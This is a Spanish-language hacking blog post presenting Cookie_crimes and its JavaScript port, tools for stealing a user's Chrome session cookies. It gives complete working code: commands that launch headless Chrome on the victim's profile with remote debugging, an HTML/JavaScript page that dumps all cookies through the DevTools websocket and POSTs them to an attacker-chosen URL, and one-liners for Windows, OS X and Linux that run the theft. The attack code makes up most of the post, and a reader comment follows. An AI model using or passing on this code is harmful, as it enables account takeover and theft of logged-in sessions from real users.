Cookie_crimes en JS + one-liners para robar las cookies de Chrome

Cookie_crimes de @mangopdf es una herramienta capaz de robar las cookies de Chrome de un usuario y, por lo tanto, iniciar sesión en todos los sitios web en los que se haya autenticado.

Funciona lanzando Chrome en modo headless (en consola) y levantándolo en modo de depuración remota, usando el mismo user-data-dir que la víctima (el directorio donde se almacenan contraseñas, historial etc. Por ej.
/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome \
--headless \
--user-data-dir="$HOME/Library/Application Support/Google/Chrome/" \
https://gmail.com \
--remote-debugging-port=9222

Esto pondrá a la escucha el debugging remoto en localhost:9222 (el puerto predeterminado para la depuración remota de Chrome) esperando cualquier websocket. Si se ejecuta el comando 'Network.getAllCookies' obtendremos el preciado botín:
wsc ws://localhost:9222/devtools/page/7404BF41DC4E7512E0431577BABCE18A
Connected to ws://localhost:9222/devtools/page/7404BF41DC4E7512E0431577BABCE18A
>
>{"id": 1, "method": "Network.getAllCookies"}
[{
    "domain": "mail.google.com",
    "expires": -1,
    "httpOnly": false,
    "name": "GMAIL_AT",
    "path": "/mail/u/0",
    "secure": true,
    "session": true,
    "size": 42,
    "value": <unencrypted cookie value appears here>
  },
  ...<the rest of the cookies>

Como veis, Chrome nos da las cookies sin necesidad de la contraseña de Chrome Safe Storage, y sin necesidad de ser root, o conocer la contraseña del usuario.

En el ejemplo se usa un cliente de websocket por consola (wsc), aunque el script de 'mango boy' estaba desarrollado en python:

https://github.com/defaultnamehere/cookie_crimes

Ahora, Carrie Roberts (clr2of8) ha creado una implementación en javascript que permite el robo de cookies mediante la ejecución de un comando de una sola línea o one-liner (ver abajo según la plataforma), que ejecutará el javascript que se encuentra en un archivo index.html y enviará las cookies a la URL configurada. Ojo que en el repositorio Github la salida del script (las cookies) se enviarán a la URL loggly.com. Antes debes alojarlo en su propio servidor y modificar la ubicación donde se envían:
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <title>Hello World!</title>
</head>
<body>
Hello World!
<script>
    
var webSocketDebuggerUrl;
var port = 9222;
var request = new XMLHttpRequest();
request.open("GET", "http://localhost:" + port + "/json");
request.responseType = 'json';
request.send();
request.onload = function() {
  webSocketDebuggerUrl = request.response[0].webSocketDebuggerUrl;
  console.log(webSocketDebuggerUrl);
  var connection = new WebSocket(webSocketDebuggerUrl);
    
  // When the connection is open, send some data to the server
  connection.onopen = function () {
    connection.send('{"id": 1, "method": "Network.getAllCookies"}');
  };
  // Log errors
  connection.onerror = function (error) {
    console.log('WebSocket Error ' + error);
  };
  // Log messages from the server
  connection.onmessage = function (e) {
    console.log('Server: ' + e.data);
      
    //send cookies to loggly
    post_url = "URL-HERE"
    var xhttp = new XMLHttpRequest();
    xhttp.open("POST", post_url, true);
    xhttp.setRequestHeader('Content-Type', 'text/plain');
    xhttp.send(JSON.stringify(JSON.parse(e.data).result.cookies));
  };
}
</script>
</body>
</html>

Ten en cuenta que la ejecución de estos comandos deja en background un navegador headless, lo que puede provocar resultados inesperados si ejecuta de nuevo. Es decir, se deben matar los procesos de Chrome asociados con el navegador headless o reiniciar el sistema operativo antes de ejecutar este comando por segunda vez para garantizar obtener con éxito las cookies.

Windows

Windows 10

64 Bit

"%PROGRAMFILES(X86)%\Google\Chrome\Application\chrome.exe" --headless --remote-debugging-port=9222 --disable-web-security --user-data-dir="%localAppData%/Google/Chrome/User Data" --disable-plugins https://clr2of8.github.io/CookieCrimesJS/

32 Bit

"%PROGRAMFILES%\Google\Chrome\Application\chrome.exe" --headless --remote-debugging-port=9222 --disable-web-security --user-data-dir="%localAppData%/Google/Chrome/User Data" --disable-plugins https://clr2of8.github.io/CookieCrimesJS/

Windows 7

"%localAppData%\Google\Chrome\Application\chrome.exe" --headless --remote-debugging-port=9222 --disable-web-security --user-data-dir="%localAppData%/Google/Chrome/User Data" --disable-plugins https://clr2of8.github.io/CookieCrimesJS/

OS X

"/Applications/Google Chrome.app/Contents/MacOS/Google Chrome" --headless --remote-debugging-port=9222 --disable-web-security --user-data-dir="$HOME/Library/Application Support/Google/Chrome" --disable-plugins https://clr2of8.github.io/CookieCrimesJS/

Linux

google-chrome --headless --remote-debugging-port=9222 --disable-web-security --user-data-dir="~/.config/google-chrome/default" --disable-plugins https://clr2of8.github.io/CookieCrimesJS/

Repo: https://github.com/clr2of8/CookieCrimesJS

Comentarios

  1. Cordial saludo Hacker,

    "Cuando intento acceder desde Windows 7 con la siguiente sentencia: %localAppData%\Google\Chrome\Application\chrome.exe" --headless
    se pierde la ruta absoluta con el directorio "Application", en lugar se encuentra "User Data". Que se puede hacer allí para llegar a la ruta especifica ya que la anterior no contiene el ejecutable de Chrome?

    ResponderEliminar

Publicar un comentario